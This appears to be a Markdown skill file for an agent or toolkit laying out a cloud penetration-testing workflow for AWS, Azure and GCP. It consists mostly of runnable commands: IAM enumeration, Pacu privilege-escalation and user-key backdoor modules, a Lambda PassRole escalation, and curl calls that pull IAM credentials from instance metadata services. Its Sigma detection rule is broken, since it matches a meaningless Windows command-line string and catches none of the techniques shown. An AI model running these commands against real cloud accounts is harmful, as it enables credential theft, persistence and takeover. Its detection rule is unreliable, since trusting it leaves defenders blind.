<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: performing-cloud-penetration-testing
description: >-
  Cloud-native attack surface enumeration and exploitation across AWS, Azure, and GCP. Tests IAM misconfigurations, storage exposure, serverless vulnerabilities, container escapes, and cloud-specific attack paths.
domain: cybersecurity
subdomain: security-testing
tags:
  - cloud-pentest
  - aws
  - azure
  - gcp
  - iam
  - s3
  - serverless
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1078.004", "T1530", "T1537", "T1190", "T1552.005"]
  tools: ["pacu", "prowler", "scoutsuite", "cloudfox", "enumerate-iam", "trufflehog"]
---

# Performing Cloud Penetration Testing

## Overview

Cloud penetration testing targets cloud-specific attack surfaces including IAM policy misconfigurations, overly permissive storage buckets, metadata service abuse, serverless function vulnerabilities, and cross-account trust exploitation.

## Prerequisites

| Tool / Requirement | Details |
|---|---|
| `pacu` | Security tooling |
| `prowler` | Security tooling |
| `scoutsuite` | Security tooling |
| `cloudfox` | Security tooling |
| `enumerate-iam` | Security tooling |
| `trufflehog` | Security tooling |
| Written authorization and rules of engagement | Environment requirement |
| Defined scope with in-scope targets and exclusions | Environment requirement |

## Workflow

### Step 1: Cloud Reconnaissance

```bash
# AWS account enumeration
aws sts get-caller-identity
aws iam list-users
aws iam list-roles
aws s3 ls

# Enumerate IAM permissions for current user
enumerate-iam --access-key $AWS_ACCESS_KEY --secret-key $AWS_SECRET_KEY

# Prowler — AWS security assessment
prowler aws --severity critical high -M json -o prowler_results/

# ScoutSuite — multi-cloud security audit
scout aws --report-dir scout_results/
```

### Step 2: IAM Exploitation

```bash
# Pacu — AWS exploitation framework
pacu
> import_keys --all
> run iam__enum_permissions
> run iam__privesc_scan
> run iam__backdoor_users_keys

# Test for IAM privilege escalation paths
# PassRole + Lambda
aws lambda create-function --function-name privesc \
  --runtime python3.9 --handler index.handler \
  --role arn:aws:iam::ACCOUNT:role/admin-role \
  --zip-file fileb://payload.zip

# STS assume role exploitation
aws sts assume-role --role-arn arn:aws:iam::ACCOUNT:role/TARGET_ROLE \
  --role-session-name test
```

### Step 3: Storage and Data Exposure

```bash
# S3 bucket enumeration and testing
aws s3 ls s3://target-bucket/ --recursive
aws s3api get-bucket-acl --bucket target-bucket
aws s3api get-bucket-policy --bucket target-bucket

# Test for public access
curl -s https://target-bucket.s3.amazonaws.com/ | head -20

# Azure storage enumeration
az storage account list --output table
az storage blob list --account-name TARGET --container-name data

# GCP storage enumeration
gsutil ls gs://target-bucket/
gsutil iam get gs://target-bucket/
```

### Step 4: Metadata Service Exploitation

```bash
# IMDS v1 exploitation (if not enforced to v2)
curl -s http://169.254.169.254/latest/meta-data/
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/

# IMDS v2 (token required)
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Azure IMDS
curl -s -H "Metadata:true" \
  "http://169.254.169.254/metadata/instance?api-version=2021-02-01"

# GCP metadata
curl -s -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/"
```

## Detection

```yaml
title: Cloud Penetration Testing Detection
id: adcae190-b93b-483f-ae16-5702c819928c
status: experimental
description: Detects suspicious activity related to performing cloud penetration testing techniques in security testing context
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    CommandLine: "*performing*cloud*"
  condition: selection
level: medium
tags:
  - attack.t1078.004
  - attack.t1530
  - attack.t1537
  - attack.t1190
  - attack.t1552.005
  - attack.discovery
falsepositives:
  - Authorized security testing tools during scheduled assessment windows
```


**Detection Opportunities**

| Indicator | Source | Detection Logic |
|---|---|---|
| Cloud Penetration Testing Detection | windows/process_creation | Sigma rule (medium) |
| ATT&CK Coverage | MITRE ATT&CK | T1078.004, T1530, T1537, T1190, T1552.005 |

## Verification

- [ ] Authorization documented and scope confirmed
- [ ] All planned test cases executed
- [ ] Evidence collected with timestamps and integrity hashes
- [ ] Findings documented with severity and remediation
- [ ] Report delivered to stakeholders

## References

- [MITRE ATT&CK Framework](https://attack.mitre.org/)
- [PTES — Penetration Testing Execution Standard](http://www.pentest-standard.org/)
- [NIST SP 800-115 — Technical Guide to Security Testing](https://csrc.nist.gov/publications/detail/sp/800-115/final)
